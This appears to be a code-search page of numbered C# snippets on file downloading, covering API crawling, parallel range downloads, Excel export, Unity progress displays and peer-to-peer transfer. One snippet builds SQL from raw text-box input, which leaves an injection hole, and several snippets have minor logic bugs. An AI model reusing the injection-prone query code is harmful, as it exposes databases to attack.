                DownloadChildFileTask atask = new DownloadChildFileTask() { sFilePathDiff = "financial-organization", slink = financial.permalink, sWebPath = "http://api.crunchbase.com/v/1/financial-organization/" };
                myDownload.cdChildInfoTasks.Add(atask);

                if (num % ThreadNum == 0 || num == AllNum)
                {
                    myDownload.RunChildFileDownloadTask();
                }

                //  myDownload.DownloadChildFile("http://api.crunchbase.com/v/1/financial-organization/", financial.permalink, "financial-organization");

                num++;
                myDownload.ShowDownloadProgress(num, AllNum, "DownLoad financial-organizations:");
            }
            Console.WriteLine("done");

            #endregion

            #region service-providers

            String serviceproviders = myDownload.DownloadParentFileAndGetParentInfo("http://api.crunchbase.com/v/1/service-providers.js", "service-provider", "crunchbase" + Path.DirectorySeparatorChar + "service-providers.js");

            Console.Write("Parsing service-provider names...");
            List<cbServiceproviderObject> parsedServiceProviders = serviceprovidergenerator.GetFinancials(serviceproviders);
            Console.WriteLine("done");

            Console.Write("Getting each service-provider info...");

            if (!Directory.Exists("crunchbase" + Path.DirectorySeparatorChar + "service-provider"))
                Directory.CreateDirectory("crunchbase" + Path.DirectorySeparatorChar + "service-provider");

            num = 0;
            AllNum = parsedServiceProviders.Count;
            foreach (cbServiceproviderObject servicep in parsedServiceProviders)
            {

                DownloadChildFileTask atask = new DownloadChildFileTask() { sFilePathDiff = "service-provider", slink = servicep.permalink, sWebPath = "http://api.crunchbase.com/v/1/service-provider/" };
                myDownload.cdChildInfoTasks.Add(atask);

                if (num % ThreadNum == 0 || num == AllNum)
                {
                    myDownload.RunChildFileDownloadTask();
                }

                // myDownload.DownloadChildFile("http://api.crunchbase.com/v/1/service-provider/", servicep.permalink, "service-provider");

                num++;
                myDownload.ShowDownloadProgress(num, AllNum, "DownLoad service-providers:");
            }
            Console.WriteLine("done");

            while (true)
            {
                Console.WriteLine("All download are done,Please Input exit");
                string cmd = Console.ReadLine();
                if (cmd == "exit")
                {
                    break;
                }
            }
            #endregion
        }
Example #20
0
        /// <summary>
        /// 分片下载方法(异步)
        /// </summary>
        /// <param name="downloadFile">下载文件信息</param>
        /// <param name="numberOfParts">分段数量</param>
        public static async Task MultiPartDownloadTaskAsync(DownloadFile downloadFile, int numberOfParts = 16)
        {
            if (downloadFile == null)
            {
                return;
            }

            //Handle number of parallel downloads
            if (numberOfParts <= 0)
            {
                numberOfParts = Environment.ProcessorCount;
            }

            try
            {
                #region Get file size

                var webRequest = (HttpWebRequest)WebRequest.Create(new Uri(downloadFile.DownloadUri));
                webRequest.Method    = "HEAD";
                webRequest.UserAgent = Ua;
                long responseLength;
                bool parallelDownloadSupported;

                using (var webResponse = await webRequest.GetResponseAsync().ConfigureAwait(false))
                {
                    parallelDownloadSupported = webResponse.Headers.Get("Accept-Ranges")?.Contains("bytes") ?? false;
                    responseLength            = long.TryParse(webResponse.Headers.Get("Content-Length"), out var l) ? l : 0;
                    parallelDownloadSupported = parallelDownloadSupported && responseLength != 0;
                }

                if (!parallelDownloadSupported)
                {
                    DownloadData(downloadFile).GetAwaiter().GetResult();
                    return;
                }

                #endregion

                if (File.Exists(downloadFile.DownloadPath))
                {
                    File.Delete(downloadFile.DownloadPath);
                }

                var tempFilesBag = new ConcurrentBag <Tuple <int, string> >();

                #region Calculate ranges

                var readRanges = new List <DownloadRange>();
                var partSize   = (long)Math.Ceiling((double)responseLength / numberOfParts);

                if (partSize != 0)
                {
                    for (var i = 0; i < numberOfParts; i++)
                    {
                        var start = i * partSize + Math.Min(1, i);
                        var end   = Math.Min((i + 1) * partSize, responseLength);

                        readRanges.Add(new DownloadRange
                        {
                            End   = end,
                            Start = start,
                            Index = i
                        });
                    }
                }
                else
                {
                    readRanges.Add(new DownloadRange
                    {
                        End   = responseLength,
                        Start = 0,
                        Index = 0
                    });
                }

                #endregion

                #region Parallel download

                var downloadedBytesCount = 0L;

                var tasks = new Task[readRanges.Count];

                for (var i = 0; i < readRanges.Count; i++)
                {
                    var range = readRanges[i];

                    void DownloadMethod()
                    {
                        var lastReceivedBytes = 0L;

                        using var client = new WebClient
                              {
                                  DownloadRange = range,
                                  Timeout       = Timeout.Infinite
                              };

                        client.DownloadProgressChanged += (sender, args) =>
                        {
                            downloadedBytesCount += args.BytesReceived - lastReceivedBytes;
                            lastReceivedBytes     = args.BytesReceived;

                            downloadFile.Changed?.Invoke(sender,
                                                         new DownloadFileChangedEventArgs
                            {
                                ProgressPercentage = (double)downloadedBytesCount / responseLength
                            });
                        };

                        var path = Path.GetTempFileName();
                        var ta   = client.DownloadFileTaskAsync(new Uri(downloadFile.DownloadUri), path);

                        ta.GetAwaiter().GetResult();

                        tempFilesBag.Add(new Tuple <int, string>(range.Index, path));
                    }

                    var t = new Task(DownloadMethod);
                    tasks[i] = t;
                }

                foreach (var t in tasks)
                {
                    t.Start();
                }

                await Task.WhenAll(tasks).ConfigureAwait(false);

                #endregion

                #region Merge to single file

                if (tempFilesBag.Count != readRanges.Count)
                {
                    downloadFile.Completed?.Invoke(null,
                                                   new DownloadFileCompletedEventArgs(false, new HttpRequestException(), downloadFile));
                    return;
                }

                using var fs = new FileStream(downloadFile.DownloadPath, FileMode.Append);
                foreach (var element in tempFilesBag.ToArray().OrderBy(b => b.Item1).ToArray())
                {
                    var wb = File.ReadAllBytes(element.Item2);
                    fs.Write(wb, 0, wb.Length);
                    File.Delete(element.Item2);
                }

                var totalLength = fs.Length;
                fs.Close();

                if (totalLength != responseLength)
                {
                    downloadFile.Completed?.Invoke(null,
                                                   new DownloadFileCompletedEventArgs(false, null, downloadFile));
                    return;
                }

                #endregion

                downloadFile.Completed?.Invoke(null,
                                               new DownloadFileCompletedEventArgs(true, null, downloadFile));
            }
            catch (Exception ex)
            {
                downloadFile.Completed?.Invoke(null,
                                               new DownloadFileCompletedEventArgs(false, ex, downloadFile));
            }
        }
Example #21
0
 private void Item_DownloadFile(object sender, EventArgs e)
 {
     DownloadFile?.Invoke(sender, e);
 }
Example #22
0
        private void ExportExcel(string strsql)
        {
            System.Data.DataTable dt = DBCallCommon.GetDTUsingSqlText(strsql);

            ApplicationClass ac = new ApplicationClass();

            ac.Visible = false;                                // Excel不显示
            Workbook  wkbook  = ac.Workbooks.Add(true);        // 添加工作簿
            Worksheet wksheet = (Worksheet)wkbook.ActiveSheet; // 获得工作表

            ac.DisplayAlerts = false;                          // 关闭提示,采用默认的方案执行(合并单元格的时候,如果两个单元格都有数据,会出现一个确认提示)

            int rowCount = dt.Rows.Count;

            int colCount = dt.Columns.Count;

            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).HorizontalAlignment = XlHAlign.xlHAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).VerticalAlignment   = XlVAlign.xlVAlignCenter;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).Borders.LineStyle   = Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous;
            wksheet.get_Range("A1", wksheet.Cells[1 + rowCount, colCount + 1]).NumberFormatLocal   = "@";

            object[,] dataArray = new object[rowCount, colCount + 1];

            for (int i = 0; i < rowCount; i++)
            {
                dataArray[i, 0] = (object)(i + 1);

                for (int j = 0; j < colCount; j++)
                {
                    dataArray[i, j + 1] = dt.Rows[i][j];
                }
            }

            //设置表头
            wksheet.Cells[1, 1] = "序号";

            for (int i = 0; i < dt.Columns.Count; i++)
            {
                wksheet.Cells[1, i + 2] = dt.Columns[i].ColumnName;

                //实际发料张数或支数
                //if (dt.Columns[i].ColumnName == "需用数量" || dt.Columns[i].ColumnName == "订单数量" || dt.Columns[i].ColumnName == "入库数量" || dt.Columns[i].ColumnName == "出库数量" || dt.Columns[i].ColumnName == "差额")
                //{
                //    wksheet.get_Range(getExcelColumnLabel(i + 2) + "1", wksheet.Cells[1 + rowCount, i + 2]).NumberFormatLocal = "G/通用格式";
                //}
            }
            //表体
            wksheet.get_Range("A2", wksheet.Cells[1 + rowCount, colCount + 1]).Value2 = dataArray;

            //表尾


            //设置列宽
            //wksheet.Columns.EntireColumn.AutoFit();//列宽自适应

            string filename = Server.MapPath("/SM_Data/ExportFile/" + "变更导出" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".xls");

            wkbook.SaveAs(filename, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing, XlSaveAsAccessMode.xlNoChange, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);
            wkbook.Close(Type.Missing, Type.Missing, Type.Missing);
            ac.Quit();
            wkbook = null;
            ac     = null;
            GC.Collect();    // 强制垃圾回收

            if (File.Exists(filename))
            {
                DownloadFile.Send(Context, filename);
            }
        }
Example #23
0
 public LearnController()
 {
     obj = new DownloadFile();
 }
Example #24
0
        protected void Confirm_Click(object sender, EventArgs e)
        {
            string sql       = "SELECT ";
            string attribute = "";
            string condition = "";
            string order     = "";

            if (CheckBoxList1.Items[0].Selected == true)//物料编码
            {
                attribute += CheckBoxList1.Items[0].Value;
            }
            if (CheckBoxList2.Items[0].Selected == true)//物料名称
            {
                attribute += CheckBoxList2.Items[0].Value;
            }
            if (CheckBoxList3.Items[0].Selected == true)//规格型号
            {
                attribute += CheckBoxList3.Items[0].Value;
            }
            if (CheckBoxList4.Items[0].Selected == true)//材质
            {
                attribute += CheckBoxList4.Items[0].Value;
            }
            if (CheckBoxList5.Items[0].Selected == true)//国标
            {
                attribute += CheckBoxList5.Items[0].Value;
            }
            if (CheckBoxList6.Items[0].Selected == true)//单位
            {
                attribute += CheckBoxList6.Items[0].Value;
            }
            if (CheckBoxList7.Items[0].Selected == true)//安全库存
            {
                attribute += CheckBoxList7.Items[0].Value;
            }

            if (attribute != "")
            {
                attribute = attribute.Substring(0, attribute.Length - 1);
                sql      += attribute;
                sql      += " FROM View_STORAGE_ADD_DELETE ";
            }



            if (TextBox1.Text != "")
            {
                condition += "AND MaterialCode LIKE '%" + TextBox1.Text + "%' ";
            }
            if (TextBox2.Text != "")
            {
                condition += "AND MaterialName LIKE '%" + TextBox2.Text + "%' ";
            }
            if (TextBox3.Text != "")
            {
                condition += "AND Attribute LIKE '%" + TextBox3.Text + "%' ";
            }
            if (TextBox4.Text != "")
            {
                condition += "AND GB LIKE '%" + TextBox4.Text + "%' ";
            }
            if (TextBox5.Text != "")
            {
                condition += "AND Standard LIKE '%" + TextBox5.Text + "%' ";
            }
            if (TextBox6.Text != "")
            {
                condition += "AND Fixed LIKE '%" + TextBox6.Text + "%' ";
            }
            if (TextBox7.Text != "")
            {
                condition += "AND Length LIKE '%" + TextBox7.Text + "%' ";
            }

            if (condition != "")
            {
                condition = condition.Substring(3, condition.Length - 3);
                condition = condition.Substring(0, condition.Length - 1);
                sql      += " WHERE ";
                sql      += condition;
            }


            if (RadioButtonList1.SelectedValue != string.Empty)
            {
                order += RadioButtonList1.SelectedValue;
            }
            if (RadioButtonList2.SelectedValue != string.Empty)
            {
                order += RadioButtonList2.SelectedValue;
            }
            if (RadioButtonList3.SelectedValue != string.Empty)
            {
                order += RadioButtonList3.SelectedValue;
            }
            if (RadioButtonList4.SelectedValue != string.Empty)
            {
                order += RadioButtonList4.SelectedValue;
            }
            if (RadioButtonList5.SelectedValue != string.Empty)
            {
                order += RadioButtonList5.SelectedValue;
            }
            if (RadioButtonList6.SelectedValue != string.Empty)
            {
                order += RadioButtonList6.SelectedValue;
            }
            if (RadioButtonList7.SelectedValue != string.Empty)
            {
                order += RadioButtonList7.SelectedValue;
            }

            if (order != "")
            {
                order = order.Substring(0, order.Length - 1);
                sql  += " ORDER BY ";
                sql  += order;
            }

            System.Data.DataTable dt = DBCallCommon.GetDTUsingSqlText(sql);

            ApplicationClass ac = new ApplicationClass();

            ac.Visible = false;                                // Excel不显示
            Workbook  wkbook  = ac.Workbooks.Add(true);        // 添加工作簿
            Worksheet wksheet = (Worksheet)wkbook.ActiveSheet; // 获得工作表

            ac.DisplayAlerts = false;                          // 关闭提示,采用默认的方案执行(合并单元格的时候,如果两个单元格都有数据,会出现一个确认提示)

            // 设置单元格格式
            //wksheet.get_Range(ac.Cells[6, 1], ac.Cells[dt.Rows.Count + 1, dt.Columns.Count + 1]).NumberFormat = "@";
            //wksheet.get_Range(ac.Cells[6, 1], ac.Cells[dt.Rows.Count + 1, dt.Columns.Count + 1]).Font.Size = 12;

            //设置表头
            ac.Cells[1, 1] = "序号";
            for (int i = 0; i < dt.Columns.Count; i++)
            {
                ac.Cells[1, i + 2] = dt.Columns[i].ColumnName;
            }

            int rowIndex = 2;   // 行
            int colIndex = 2;   // 列

            // 填充数据很简单无非是一个2重循环,下面看起来逻辑很复杂是因为添加了合并单元格的代码
            for (int i = 0; i < dt.Rows.Count; i++)
            {
                ac.Cells[rowIndex, 1] = "'" + (rowIndex - 1).ToString();
                colIndex = 2;
                for (int j = 0; j < dt.Columns.Count; j++)
                {
                    if (dt.Columns[j].DataType == System.Type.GetType("System.DateTime"))
                    {
                        try
                        {
                            // 如果单元格前不加"'",有些字段会自动采用科学计数法
                            ac.Cells[rowIndex, colIndex] = "'" + (Convert.ToDateTime(dt.Rows[i][dt.Columns[j].ColumnName].ToString())).ToString("yyyy-MM-dd");
                        }
                        catch (System.FormatException)
                        {
                            ac.Cells[rowIndex, colIndex] = "";
                        }
                    }
                    else if (dt.Columns[j].DataType == System.Type.GetType("System.String"))
                    {
                        ac.Cells[rowIndex, colIndex] = "'" + dt.Rows[i][dt.Columns[j].ColumnName].ToString();
                    }
                    else
                    {
                        ac.Cells[rowIndex, colIndex] = "'" + dt.Rows[i][dt.Columns[j].ColumnName].ToString();
                    }
                    wksheet.get_Range(ac.Cells[rowIndex, colIndex], ac.Cells[rowIndex, colIndex]).HorizontalAlignment = XlHAlign.xlHAlignLeft;
                    colIndex++;
                }
                rowIndex++;
            }
            string filename = Server.MapPath("/SM_Data/ExportFile/" + "WARN" + DateTime.Now.ToString("yyyyMMddHHmmssfff") + ".xls");

            wkbook.SaveAs(filename, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing, XlSaveAsAccessMode.xlNoChange, Type.Missing, Type.Missing, Type.Missing, Type.Missing, Type.Missing);
            wkbook.Close(Type.Missing, Type.Missing, Type.Missing);
            ac.Quit();
            wkbook = null;
            ac     = null;
            GC.Collect();    // 强制垃圾回收

            //Response.Write("<script type='text/javascript'>window.open('" + filename + "', '_bank', 'height=500, width=800, top=50, left=50, toolbar=no, menubar=no, scrollbars=yes, resizable=no,location=no, status=no');</script>");

            if (System.IO.File.Exists(filename))
            {
                DownloadFile.Send(Context, filename);
            }
        }
Example #25
0
        void OnUpdate()
        {
            if (fileInfo == null)
            {
                return;
            }

            if (_preFileInfo != fileInfo)
            {
                _preFileInfo = fileInfo;


                iconImage.sprite = FileIcon.GetIcon(Path.GetExtension(fileInfo.localPath));
                urlText.text     = Path.GetFileName(fileInfo.url);
                pathText.text    = fileInfo.localPath;
            }


            DownloadFile downloadFile = fileInfo.downloadFile;

            if (downloadFile == null)
            {
                if (fileInfo.state == FileInfo.StateType.Complete)
                {
                    totalBar.localScale = new Vector3(1, 1, 1);
                    rateText.text       = Mathf.Ceil(1 * 100) + "%";
                }
                else
                {
                    totalBar.localScale = new Vector3(0, 1, 1);
                    rateText.text       = "";
                }

                for (int i = 0; i < blockItemsColor.Count; i++)
                {
                    blockItemsColor[i].gameObject.SetActive(false);
                    blockItemsBg[i].gameObject.SetActive(false);
                }

                sizeText.text  = fileInfo.size > 0 ?   ToSizeStr(fileInfo.size) : "";
                stateText.text = "";
                timeText.text  = fileInfo.loadTime > 0 ?   ToTimeStr(fileInfo.loadTime) : "";
                return;
            }


            long speed = 0;

            if (downloadFile.state == DownloadFile.StateType.Loading)
            {
                speed         = downloadFile.loadedSize - preLoadedSize;
                preLoadedSize = downloadFile.loadedSize;
            }

            totalBar.localScale = new Vector3(downloadFile.progress, 1, 1);
            rateText.text       = Mathf.Ceil(downloadFile.progress * 100) + "%";
            sizeText.text       = downloadFile.size <= 0 ? "" : string.Format("{0} / {1}", ToSizeStr(downloadFile.loadedSize), ToSizeStr(downloadFile.size));

            if (fileInfo.state == FileInfo.StateType.Complete)
            {
                stateText.text = "已完成";
            }
            else if (fileInfo.state == FileInfo.StateType.Complete)
            {
                stateText.text = "已暂停";
            }
            else if (downloadFile.state == DownloadFile.StateType.Loading)
            {
                stateText.text = ToSizeStr(speed) + "/S";
            }
            else if (fileInfo.state == FileInfo.StateType.Queue)
            {
                stateText.text = "队列中";
            }
            else
            {
                stateText.text = "";
            }

            if (downloadFile.state == DownloadFile.StateType.Loading)
            {
                if (speed > 0)
                {
                    leftTime = (downloadFile.size - downloadFile.loadedSize) / speed;
                }
                timeText.text = string.Format("{0} / {1}", ToTimeStr(fileInfo.loadTime), speed > 0 ? ToTimeStr(leftTime) : "--:--:--");
            }
            else if (fileInfo.loadTime > 0)
            {
                timeText.text = string.Format("{0}", ToTimeStr(fileInfo.loadTime));
            }
            else
            {
                timeText.text = "";
            }


            RectTransform blockItemBg;
            RectTransform blockItemColor;

            for (int i = 0; i < downloadFile.blockList.Count; i++)
            {
                if (i < blockItemsColor.Count)
                {
                    blockItemColor = blockItemsColor[i];
                    blockItemBg    = blockItemsBg[i];
                }
                else
                {
                    blockItemBg = (RectTransform)GameObject.Instantiate(blockPrefabBg.gameObject).transform;
                    blockItemBg.SetParent(blockContainer, false);
                    blockItemsBg.Add(blockItemBg);
                    blockItemBg.SetAsFirstSibling();


                    blockItemColor = (RectTransform)GameObject.Instantiate(blockPrefabColor.gameObject).transform;
                    blockItemColor.SetParent(blockContainer, false);
                    blockItemsColor.Add(blockItemColor);
                    blockItemColor.SetAsLastSibling();
                }

                float b = downloadFile.size <= 0 ? 0 :  downloadFile.blockList[i].begin * 1f / downloadFile.size;
                float w = downloadFile.size <= 0 ? 0 : (downloadFile.blockList[i].end - downloadFile.blockList[i].begin) * 1f / downloadFile.size;
                b *= blockTotalWidth;
                w *= blockTotalWidth;

                blockItemBg.anchoredPosition = blockItemColor.anchoredPosition = new Vector2(b, blockItemColor.anchoredPosition.y);
                blockItemBg.sizeDelta        = blockItemColor.sizeDelta = new Vector2(w, blockItemColor.sizeDelta.y);
                blockItemColor.localScale    = new Vector3(downloadFile.blockList[i].progress, 1, 1);
                if (!blockItemColor.gameObject.activeSelf)
                {
                    blockItemColor.gameObject.SetActive(true);
                }
                if (!blockItemBg.gameObject.activeSelf)
                {
                    blockItemBg.gameObject.SetActive(true);
                }
            }

            for (int i = downloadFile.blockList.Count; i < blockItemsColor.Count; i++)
            {
                blockItemsColor[i].gameObject.SetActive(false);
                blockItemsBg[i].gameObject.SetActive(false);
            }
        }
        private async Task <DownloadFile> DownloadFile()
        {
            if (string.IsNullOrEmpty(chosenFileName))
            {
                MessageBox.Show("Please choose a file");
                return(null);
            }

            List <string> IpAdressList = await GetListOfIPAdresses(chosenFileName);

            int    peers = 0;
            double size  = 0;

            foreach (FilesInfo fileInfo in myFilesList)
            {
                if (fileInfo.FileName.Equals(chosenFileName))
                {
                    peers = fileInfo.Amount_Of_Peers;
                    size  = fileInfo.Size;
                }
            }

            DownloadFile download      = new DownloadFile(chosenFileName, size);
            string       port_asString = ConfigurationManager.ConnectionStrings[USER_PORT].ToString();
            Int32        port          = Convert.ToInt32(port_asString);
            var          list          = new List <TaskPackage>();

            for (int i = 0; i < peers; i++)
            {
                TaskPackage taskPackage = new TaskPackage(i, peers, port, size, chosenFileName, IpAdressList[i]);
                list.Add(taskPackage);
                taskPackage.Task.Start();
            }

            int        file_size  = Convert.ToInt32(size) + 1;
            FileStream fileStream = null;

            try
            {
                for (int i = 0; i < list.Count; i++)
                {
                    Task.WaitAny(list[i].Task);
                }

                fileStream = File.Open(downloadPath + "\\" + chosenFileName, FileMode.Create);
                for (int i = 0; i < list.Count; i++)
                {
                    fileStream.Write(list[i].Bytes, 0, list[i].Bytes.Length);
                }


                download.SetEndTime();
            }
            catch (Exception exception)
            {
                Console.WriteLine(exception.Message);
            }
            finally
            {
                fileStream.Close();
            }

            try
            {
                fileStream = File.Open(uploadPath + "\\" + chosenFileName, FileMode.Create);
                for (int i = 0; i < list.Count; i++)
                {
                    fileStream.Write(list[i].Bytes, 0, list[i].Bytes.Length);
                }
            }
            catch (Exception exception)
            {
                Console.WriteLine(exception.Message);
            }
            finally
            {
                fileStream.Close();
            }
            UploadFilesToServer();
            return(download);
        }
Example #27
0
 public LogisticController()
 {
     obj = new DownloadFile();
 }
Example #28
0
        /// <summary>
        /// 分片下载方法(异步)
        /// </summary>
        /// <param name="downloadFile">下载文件信息</param>
        /// <param name="numberOfParts">分段数量</param>
        public static async Task MultiPartDownloadTaskAsync(DownloadFile downloadFile, int numberOfParts = 16)
        {
            if (downloadFile == null)
            {
                return;
            }

            //Handle number of parallel downloads
            if (numberOfParts <= 0)
            {
                numberOfParts = Environment.ProcessorCount;
            }

            try
            {
                #region Get file size

                var webRequest = (HttpWebRequest)WebRequest.Create(new Uri(downloadFile.DownloadUri));
                webRequest.Method    = "HEAD";
                webRequest.UserAgent = Ua;
                long responseLength;
                bool parallelDownloadSupported;

                using (var webResponse = await webRequest.GetResponseAsync().ConfigureAwait(false))
                {
                    parallelDownloadSupported = webResponse.Headers.Get("Accept-Ranges")?.Contains("bytes") ?? false;
                    responseLength            = long.TryParse(webResponse.Headers.Get("Content-Length"), out var l) ? l : 0;
                    parallelDownloadSupported = parallelDownloadSupported && responseLength != 0;
                }

                if (!parallelDownloadSupported)
                {
                    DownloadData(downloadFile);
                    return;
                }

                #endregion

                if (File.Exists(downloadFile.DownloadPath))
                {
                    File.Delete(downloadFile.DownloadPath);
                }

                var tempFilesDictionary = new ConcurrentDictionary <int, string>();

                #region Calculate ranges

                var readRanges = new List <DownloadRange>();
                var partSize   = (long)Math.Ceiling((double)responseLength / numberOfParts);

                for (var i = 0; i < numberOfParts; i++)
                {
                    var start = i * partSize + Math.Min(1, i);
                    var end   = Math.Min((i + 1) * partSize, responseLength);

                    readRanges.Add(new DownloadRange
                    {
                        End   = end,
                        Start = start,
                        Index = i
                    });
                }

                #endregion

                #region Parallel download

                var totalProgress = Enumerable.Repeat(0d, numberOfParts).ToList();

                Parallel.ForEach(readRanges, (range, state) =>
                {
                    using var client = new WebClient
                          {
                              DownloadRange = range,
                              Timeout       = Timeout.Infinite
                          };
                    client.DownloadProgressChanged += (sender, args) =>
                    {
                        lock (totalProgress)
                        {
                            totalProgress[range.Index] = (double)args.BytesReceived / args.TotalBytesToReceive;
                            downloadFile.Changed?.Invoke(sender,
                                                         new DownloadFileChangedEventArgs
                            {
                                ProgressPercentage = totalProgress.Sum() / numberOfParts
                            });
                        }
                    };

                    var path = Path.GetTempFileName();
                    var t    = client.DownloadFileTaskAsync(new Uri(downloadFile.DownloadUri), path);
                    t.GetAwaiter().GetResult();
                    tempFilesDictionary.TryAdd(range.Index, path);
                });

                #endregion

                #region Merge to single file

                if (tempFilesDictionary.Count != readRanges.Count)
                {
                    downloadFile.Completed?.Invoke(null,
                                                   new DownloadFileCompletedEventArgs(false, new HttpRequestException(), downloadFile));
                    return;
                }

                using var fs = new FileStream(downloadFile.DownloadPath, FileMode.Append);
                foreach (var downloadedBytes in tempFilesDictionary.OrderBy(b => b.Key))
                {
                    var wb = File.ReadAllBytes(downloadedBytes.Value);
                    fs.Write(wb, 0, wb.Length);
                    File.Delete(downloadedBytes.Value);
                }

                var totalLength = fs.Length;
                fs.Close();

                if (totalLength != responseLength)
                {
                    downloadFile.Completed?.Invoke(null,
                                                   new DownloadFileCompletedEventArgs(false, null, downloadFile));
                    return;
                }

                #endregion

                downloadFile.Completed?.Invoke(null,
                                               new DownloadFileCompletedEventArgs(true, null, downloadFile));
            }
            catch (Exception ex)
            {
                downloadFile.Completed?.Invoke(null,
                                               new DownloadFileCompletedEventArgs(false, ex, downloadFile));
            }
        }
Example #29
0
        private void ItemSaveToButtonClick(object sender, EventArgs e)
        {
            FileTransfersItem item = sender as FileTransfersItem;
            RequestSendFileEventArgs rse = item.Tag as RequestSendFileEventArgs;
            if (item.Style == FileTransfersItemStyle.ReadyReceive)
            {
                FolderBrowserDialog fbd = new FolderBrowserDialog();
                if (fbd.ShowDialog() == DialogResult.OK)
                {
                    rse.Path = fbd.SelectedPath + "\\";
                    this.AppendSystemRtf(string.Format("同意接收文件 {0}。", rse.TraFransfersFileStart.FileName));
                    ControlTag tag = new ControlTag(
                         rse.TraFransfersFileStart.MD5,
                         rse.TraFransfersFileStart.FileName,
                         rse.RemoteIP);
                    item.Tag = tag;
                    item.Style = FileTransfersItemStyle.Cancel;
                    item.CancelButtonClick += new EventHandler(ItemCancelButtonClick2);
                    item.Start();
                    udpReceiveFile.AcceptReceive(rse);
                }
            }
            else
            {
                FolderBrowserDialog fbd = new FolderBrowserDialog();
                if (fbd.ShowDialog() == DialogResult.OK)
                {
                    rse.Path = fbd.SelectedPath + "\\";
                    this.AppendSystemRtf(string.Format("同意接收文件 {0}。", rse.ftpClient.fileTransfersItem.FileName));
                    ControlTag tag = new ControlTag(
                        rse.ftpClient.fileTransfersItem.Name,
                        rse.ftpClient.fileTransfersItem.FileName,
                        null);
                    tag.ftpClient = rse.ftpClient;
                    item.Tag = tag;
                    item.Style = FileTransfersItemStyle.Cancel;
                    DownloadFile downloadFile = new DownloadFile(this, rse.ftpClient);
                    downloadFile.receivePath = fbd.SelectedPath + "\\";
                    Thread pushThread = new Thread(downloadFile.GetFile);
                    pushThread.Start(rse.ftpClient.fileTransfersItem.Name);

                    CSS.IM.XMPP.protocol.client.Message fmsg = new CSS.IM.XMPP.protocol.client.Message();
                    fmsg.Type = MessageType.chat;
                    fmsg.To = TO_Jid;
                    fmsg.SetTag("m_type", 9);
                    fmsg.SetTag("FileName", rse.ftpClient.fileTransfersItem.FileName);
                    fmsg.From = XmppConn.MyJID;
                    fmsg.Body = "离线文件" + rse.ftpClient.fileTransfersItem.FileName + "开始接收。";
                    XmppConn.Send(fmsg);
                }
            }
        }
Example #30
0
 public bool existsAlready(DownloadFile file)
 {
     return(Downloads.Contains(file));
 }
        // Load file's information.
        private void CheckLocalFiles()
        {
            Debug.Log("Checks local files..");

            try
            {
                verify_file_list.Clear();
                cached_files_list_.Clear();

                if (!Directory.Exists(target_path_))
                {
                    // Gets list file
                    DownloadListFile(host_url_);
                    return;
                }

                string[] files = Directory.GetFiles(target_path_, "*", SearchOption.AllDirectories);
                if (files.Length > 0)
                {
                    foreach (string s in files)
                    {
                        string path = s.Replace('\\', '/');

                        if (enable_verify_)
                        {
                            verify_file_list.Add(path);
                        }
                        else
                        {
                            path = path.Substring(target_path_.Length);

                            DownloadFile info = new DownloadFile();
                            info.path = path;
                            cached_files_list_.Add(info);
                        }
                    }

                    if (enable_verify_)
                    {
                        MD5Async.Get(verify_file_list[0], OnCheckMd5Finish);
                    }
                    else
                    {
                        // Gets list file
                        DownloadListFile(host_url_);
                    }
                }
            }
            catch (Exception e)
            {
                Debug.Log("Failure in CheckLocalFiles: " + e.ToString());
            }
        }
Example #32
0
 public DownloadController(FilesService fileService, DownloadFile downloadFile)
 {
     _fileService  = fileService;
     _downloadFile = downloadFile;
 }
        private void DownloadListFile(string url)
        {
            bool failed = false;
            try
            {
                cur_download_ = null;

                // Request a list of download files.
                Debug.Log("Getting list file from " + url);
                web_client_.DownloadDataAsync(new Uri(url));
            }
            catch (Exception e)
            {
                Debug.Log("Failure in DownloadListFile: " + e.ToString());
                failed = true;
            }

            if (failed)
            {
                Stop();
            }
        }
Example #34
0
        public DownloadFileResult DownloadFile(DownloadFile file)
        {
            DownloadFileResult result = new DownloadFileResult();

            //string path = System.AppDomain.CurrentDomain.BaseDirectory + @"\service\" + filePath;

            if (!File.Exists(file.FilePath))
            {
                result.IsSuccess = false;
                result.FileSize = 0;
                result.Message = "File Not Exist";
                result.FileStream = new MemoryStream();
                return result;
            }
            Stream ms = new MemoryStream();
            FileStream fs = new FileStream(file.FilePath, FileMode.Open, FileAccess.Read);
            fs.CopyTo(ms);
            ms.Position = 0;  //重要,不为0的话,客户端读取有问题
            result.IsSuccess = true;
            result.FileSize = ms.Length;
            result.FileStream = ms;

            fs.Flush();
            fs.Close();
            return result;
        }
        private void OnCheckMd5Finish(string md5hash)
        {
            if (!enable_verify_)
                return;

            DebugUtils.Assert(verify_file_list.Count > 0);
            string path = verify_file_list[0];
            path = path.Substring(target_path_.Length);

            DownloadFile info = new DownloadFile();
            info.path = path;
            info.md5 = md5hash;
            cached_files_list_.Add(info);

            verify_file_list.RemoveAt(0);
            if (verify_file_list.Count > 0)
            {
                MD5Async.Get(verify_file_list[0], OnCheckMd5Finish);
            }
            else
            {
                Debug.Log(string.Format("Checked {0} files.",
                                        cached_files_list_.Count));

                // Gets list file
                DownloadListFile(host_url_);
            }
        }
Example #36
0
            private void OnNameResolved(NameResolutionResult dnsResult)
            {
                if (dnsResult.NetworkInterface == null)
                {
                    if (filestream != null)
                    {
                        filestream.Close();
                    }
                    ctx.Post(result => {
                        this.OnError(new ErrorEventArgs(new DownloadException("Network not available")));
                    }, null);
                    return;
                }

                HttpWebRequest request = (HttpWebRequest)WebRequest.CreateHttp(uri);

                request.Method = "GET";

                Logger.log("DownloadRequestHandler", "Downloading " + uri.AbsoluteUri + " asynchronously...");

                request.BeginGetResponse(async callbackResult => {
                    DownloadFile df = (DownloadFile)callbackResult.AsyncState;

                    try {
                        HttpWebResponse response = (HttpWebResponse)request.EndGetResponse(callbackResult);
                        Logger.log("DownloadRequestHandler", "Status: " + (int)response.StatusCode + " " + response.StatusDescription);
                        if (response.Headers["Content-Length"] != null)
                        {
                            Logger.log("DownloadRequestHandler", "Content length: " + response.Headers["Content-Length"]);
                        }
                        else
                        {
                            Logger.log("DownloadRequestHandler", "Content length: unknown");
